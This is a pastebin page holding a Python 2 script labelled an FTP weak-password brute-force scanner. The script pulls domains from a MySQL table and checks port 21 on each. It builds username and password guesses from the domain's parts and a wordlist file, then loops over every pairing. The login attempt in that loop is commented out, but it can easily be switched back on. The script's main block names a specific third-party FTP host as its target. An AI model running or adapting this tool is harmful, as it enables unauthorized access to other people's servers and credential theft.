FTP weak password scanner written in Python

From , 5 Years ago, written in Python, viewed 111 times.
URL https://pastebin.vip/view/59ab3ba9
  1. #!/usr/local/bin/python
  2. #-*- coding: UTF-8 -*-
  3. ####################################################################
  4. #qq:316118740
  5. #BLOG:http://hi.baidu.com/alalmn
  6. # python FTP暴力破解部分代码
  7. #  刚学写的不好请大家见谅
  8. ####################################################################
  9.  
  10. def open_txt():  #打开TXT文本写入数组
  11.     try:
  12.         xxx = file('admin.txt', 'r')
  13.         for xxx_line in xxx.readlines():
  14.             passlist.append(xxx_line)
  15.         xxx.close()
  16.     except:
  17.         return 0
  18.  
  19. def list_del():  #清空list列表
  20.     try:
  21.         i = 0 #得到list的第一个元素
  22.         while i < len(passlist):
  23.             del passlist[i]
  24.             del list_passwed[i]
  25.     except:
  26.         return 0
  27.  
  28. #def list_open():  #读取list列表
  29. #    i = 0 #得到list的第一个元素
  30. #    while i < len(list_passwed):
  31. #        print "a[",i,"]",list_passwed[i]
  32. #        i = i + 1
  33.  
  34. ###########################################################################
  35. def str_index(data1,data2):  #查找字符
  36.     try:
  37.         data1.index(data2)
  38.         return 0
  39.     except:
  40.         return 1
  41.  
  42. def www_cj(sStr1):  #域名拆解
  43.     sStr2 = "."
  44.     passlist.append(sStr1)
  45.     d1 = sStr1[0:sStr1.find(sStr2)]
  46.     #print d1
  47.     passlist.append(d1)
  48.     sStr1 = sStr1[sStr1.find(sStr2)+1:]
  49.     #print sStr1
  50.     passlist.append(sStr1)
  51.     if str_index(sStr1,sStr2):
  52.         return 0
  53.         #print "1111111111没有"
  54.     else:
  55.         #print "2222222222有了"
  56.         d2 = sStr1[0:sStr1.find(sStr2)]
  57.         #print d2
  58.         passlist.append(d2)
  59.         sStr1 = sStr1[sStr1.find(sStr2)+1:]
  60.         #print sStr1
  61.         passlist.append(sStr1)
  62.         if str_index(sStr1,sStr2):
  63.             return 0
  64.             #print "222222没有"
  65.         else:
  66.             #print "2222222222有了"
  67.             d3 = sStr1[0:sStr1.find(sStr2)]
  68.             #print d3
  69.             passlist.append(d3)
  70.             sStr1 = sStr1[sStr1.find(sStr2)+1:]
  71.             #print sStr1
  72.             passlist.append(sStr1)
  73.             if str_index(sStr1,sStr2):
  74.                 return 0
  75.                 #print "33333没有"
  76.             else:
  77.                 #print "2222222222有了"
  78.                 d4 = sStr1[0:sStr1.find(sStr2)]
  79.                 #print d4
  80.                 passlist.append(d4)
  81.                 sStr1 = sStr1[sStr1.find(sStr2)+1:]
  82.                 #print sStr1
  83.                 passlist.append(sStr1)
  84.                 if str_index(sStr1,sStr2):
  85.                     return 0
  86.                     #print "44444没有"
  87.                 else:
  88.                     #print "2222222222有了"
  89.                     d5 = sStr1[0:sStr1.find(sStr2)]
  90.                     #print d5
  91.                     passlist.append(d5)
  92.                     sStr1 = sStr1[sStr1.find(sStr2)+1:]
  93.                     #print sStr1
  94.                     passlist.append(sStr1)
  95.                     if str_index(sStr1,sStr2):
  96.                         return 0
  97.                         #print "55555没有"
  98. ############################################################################打开FTP
  99. from ftplib import FTP
  100. #def ftp_open(host='',user='',passwd=''):  #打开FTP
  101. #    try:
  102. #        ftp=FTP()
  103. #        #ftp.set_debuglevel(2) #打开调试级别2,显示详细信息
  104. #        ftp.connect(host,'21') #连接
  105. #        data=ftp.login(user,passwd) #登录,如果匿名登录则用空串代替即可
  106. #        #print ftp.getwelcome()  #欢迎词
  107. #        #print data
  108. #        print "fffffffffffffffffffffffffffffffffff"
  109. #        time.sleep(10)  #延时
  110. #        ftp.quit() #退出ftp服务器
  111. #        return 1
  112. #    except:
  113. #        return 0
  114.  
  115. def ftp_open(host,user,passwd):  #打开FTP
  116.     try:
  117.         ftp = FTP(host)
  118.         ftp.login(user,passwd)
  119.         ftp.quit()
  120.         return 1
  121.     except:
  122.         return 0
  123.  
  124. ###########################################################################
  125. import time
  126. def link_ftp(www):  #TXT导入数组    组合密码    遍历连接FTP
  127.     #passlist = list(set(passlist))   #python 列表去重
  128.     for i in passlist:
  129.         if i not in list_passwed:
  130.             list_passwed.append(i)
  131. ######################################   遍历数组组合出 密码
  132.     I1 = 0 #得到list的第一个元素
  133.     while I1 < len(list_passwed):
  134.         #print "第几组密码:",I1
  135.         if I1==len(list_passwed):
  136.             break  #退出循环
  137.         I2 = 0 #得到list的第一个元素
  138.         while I2 < len(list_passwed):
  139.             print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2]
  140. #            if ftp_open(www,list_passwed[I1],list_passwed[I2]):  #打开FTP
  141. #                print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP成功"
  142. #                sql = "insert into ftp(IP,user,password) values('%s','%s','%s')"%(www,list_passwed[I1],list_passwed[I2])
  143. #                print sql
  144. #                mysql.mysql_insert(sql) #添加到数据库
  145. #                #time.sleep(1)  #延时
  146. #                #sql_sel() #SQL查询
  147. #            else:
  148. #                print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP失败"
  149.             I2 = I2 + 1  #二层
  150.         I1 = I1 + 1   #一层
  151.  
  152.     sql_sel() #SQL查询
  153. ###########################################################################
  154. import socket
  155. #获取域名的IP地址
  156. def www_ip(name):  #域名转IP
  157.     try:
  158.         result = socket.getaddrinfo(name, None)
  159.         return result[0][4][0]
  160.     except:
  161.         return 0
  162.  
  163. def ip_port(ip):  #查看IP端口是否开放
  164.     port=21
  165.     s=socket.socket()
  166.     #address="127.0.0.1"
  167.     try:
  168.         s.connect((ip,port))
  169.         #print 'IP:',ip,"port:",port,"以开放"
  170.         return 1
  171.     except socket.error,e:
  172.         #print 'IP:',ip,"port:",port,"未开放"
  173.         return 0
  174. ###########################################################################
  175. def www_port(www):  #www转换IP在查看端口
  176.     IP=www_ip(www)
  177.     if IP:
  178.         print www,u"ip地址:",IP
  179.         if ip_port(IP):
  180.             #print IP,"开放21端口"
  181.             www_cj(www)  #域名拆解
  182.             open_txt()   #TXT导入数组
  183.  
  184.             sql_up(www,"send") #SQL修改数据
  185.  
  186.             link_ftp(www)  #组合密码    遍历连接FTP
  187.         else:
  188.             sql_up(www,"---") #SQL修改数据
  189.             print IP,u"未开21放端口"
  190.             #sql_sel() #SQL查询
  191.     else:
  192.         sql_up(www,"===") #SQL修改数据
  193.         print www,u"域名转IP失败"
  194.         sql_sel() #SQL查询
  195. ###########################################################################
  196. import mysql #数据库操作文件
  197.  
  198. def sql_up(url,data): #SQL修改数据
  199.     try:
  200.             up = "update  url1 set  ftpsend='%s' where url='%s'"%(data,url)
  201.             if mysql.mysql_update(up):  #修改数据
  202.                 print url,u"修改数据库成功"
  203.             else:
  204.                 print url,u"修改数据库失败"
  205.             mysql.mysql_S()  #保存数据
  206.     except:
  207.         return 0
  208.  
  209. def sql_sel(): #SQL查询
  210.     try:
  211.         list_del()  #清空list列表
  212.         sql="select * from url1 where ftpsend is NULL limit 1"
  213.         mysql.cursor.execute(sql)
  214.         mysql.cursor.scroll(0)
  215.         for row in mysql.cursor.fetchall():
  216.             www_port(row[0])  #www转换IP在查看端口
  217.             #sql_cx(row[0])
  218.             #print '%s-%s'%(row[0],row[1])
  219.             #print row[0]
  220.             #print row[1]
  221.             #print row[2]
  222.         #mysql.mysql_close()  #关闭数据库
  223.     except:
  224.         print u"读取URL异常!!!!!"
  225. ###########################################################################
  226.  
  227. if __name__=='__main__':
  228.     mysql.mysql_open()  #连接数据库
  229.     global  passlist  #声明全局变量
  230.     passlist = []    #用户名:anonymous 密码为空
  231.     global  list_passwed  #列表去重,不打乱原来的顺序
  232.     list_passwed=[]
  233.  
  234. #    sql_sel() #SQL查询
  235.  
  236.     www= "ftp.hificat.com"
  237.     www_port(www)  #www转换IP在查看端口
  238.  
  239.  
  240.  
  241. #//python/5340

Reply to "FTP weak password scanner written in Python"

Here you can reply to the paste above

captcha

https://burned.cc - Burn After Reading Website